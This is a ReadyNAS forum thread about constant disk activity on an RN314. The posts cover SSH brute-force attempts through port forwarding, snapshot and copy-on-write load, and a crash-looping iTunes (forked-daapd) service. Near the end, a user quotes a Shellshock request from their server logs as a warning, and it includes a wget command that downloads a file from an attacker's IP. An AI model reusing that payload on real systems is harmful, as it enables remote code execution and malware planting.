Constant Disk activity RN104 w/6.1.8

I'm seeing constant disk activity too on my new 314. I first noticed it after I installed the Logitech Media Server add-on, so I assumed it was media/metadata scanning, but it's been going on for two full days now. LMS was never switched on (so it can't be scanning); Plex is showing zero scan activity in its logs, and its GUI is often more responsive than the ReadyNAS GUI.

On which point: At first the constant disk activity resulted in an inaccessible ReadyNAS GUI or GUI hangs, and even manually I was unable to power down the 314 gracefully. I had to do a forced power off. Almost immediately after rebooting it started chugging again. This went on for a while, and the GUI was inaccessible, so I tried to do another manual reboot. The "Shutting Down..." message appeared on the LCD — but even after half an hour it hadn't shut down.

That's when I started switching apps and services off, and the unit quieted down for a time. Then it started chugging again, so I added them all back in. I mean, if it's going to chug anyway, I might as well have DLNA access. The only service I've left off is antivirus. Will be downloading my logs and sending them to support (because I can reach the GUI at the moment).

If this is an initial defrag process, I would really, really love to have been notified in some way and to have a progress indicator.

On a side note: So far, I have to say, my experience with the 6.x ReadyNAS unit has been less than stellar. Transfer speeds are far slower than on my 4.x unit, it's less responsive, and apps that were available for the old OS (like the UE Media Server) still aren't available or require hack-y workarounds. The Power Timer interface is just bizarre. I keep hoping things will at least seem to improve as I bring it to the operating state of my Ultra 4.

To follow my previous post, this is what I'm seeing:



The device is up and running and online. My kids were watching a ReadyNAS-hosted movie via Plex and a Mac is in the middle of a Time Machine backup. But there's way more disk activity than there should be, and it's caused the GUI to be totally unresponsive. Never had this issue with the 4.x ReadyNAS.

Do you have SSH port forwarded? I am seeing a lot of login attempts in the logs coming from an I.P. address in China. You might wish to disable port forwarding of SSH to the NAS. There are ways to use e.g. SSH via ReadyNAS Remote

I see you are using snapshots on a lot of shares. These may not be appropriate for all your shares depending on what you use them for. Also on 6.2.0 beta 3 which you are running there is an option to disable COW at a per share level. This may be beneficial for some of your data. Disabling COW only helps for new files added, however.

Snapshot deletion can put a high level of load on the NAS.

It's possible one or more of your add-ons might be preventing the disks from spinning down.

mdgm wrote:
Do you have SSH port forwarded? I am seeing a lot of login attempts in the logs coming from an I.P. address in China.

Thanks, mdgm. I had set up port forwarding ages ago while I was traveling and never disabled it. My logs were full of brute force SSH attempts. (Yeah, I'm looking at you, 76.12.235.157.)

mdgm wrote:
I see you are using snapshots on a lot of shares.

I disabled snapshots as well as bit rot (COW). I might enable them later if I feel like the NAS can handle it. Right now they're not necessary because I still have my Ultra 4 as a backup, and the data hasn't changed greatly.

mdgm wrote:
It's possible one or more of your add-ons might be preventing the disks from spinning down.

My first assumption was Plex, but I think I've found the culprit: iTunes. Something is very, very wrong with forked-daapd based on the logs. When I finally did get the ReadyNAS iTunes library to load in iTunes, this is what I saw:



In case it's not clear, each track has seven entries.

So it looks like the iTunes service scans the media files up to a point, then there's the following series of messages:

Nov 14 21:03:31 ReadyNAS forked-daapd[1907]: main: Got SIGTERM or SIGINT
Nov 14 21:03:31 ReadyNAS forked-daapd[1907]: main: Stopping gracefully
Nov 14 21:03:31 ReadyNAS forked-daapd[1907]: main: mDNS deinit
Nov 14 21:03:31 ReadyNAS forked-daapd[1907]: main: Remote pairing deinit
Nov 14 21:03:31 ReadyNAS forked-daapd[1907]: main: HTTPd deinit

Soon forked-daapd enters a "failed state" before restarting. And the cycle repeats itself. So it just keeps scanning and rescanning. Once I disabled iTunes, I had a quiet ReadyNAS again.

Also, it looks like the logs were full of attempts to send alert messages via SMTP every minute or so. I tried setting up Gmail and Zoho accounts, but neither sent successfully. Has anyone successfully configured a mail account to send alert messages? [EDIT: Now mail alerts are working. Go figure.]

If you use two factor authentication you will need an application specific password.

Hi folks

As I - as a new user - can't directly reply to the according topic
Constant Disk activity RN104 w/6.1.8

http://www.readynas.com/forum/viewtopic.php?f=21&t=77478&start=15

I guess I know what's the reason for your unexpected activities...

There are lot's of entries within our server-logs looking like (the wget-statement...)

46.165.236.66 - - [25/Nov/2014:02:41:59 +0100] "GET /cgi-sys/php5 HTTP/1.1" 404 303 "-" "() { :;}; /usr/bin/wget -O /tmp/abc http://76.12.235.157/abc"

which fails on our servers :neener: - but obviously get's executed on other machines all around the world ... thus causing lot's of traffic.
Affected users should ensure they are not abused as malware-storage...
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Hi Boardadmin,

You can remove/delete this account after taking appropriate actions - thx in advance and greetings from germany.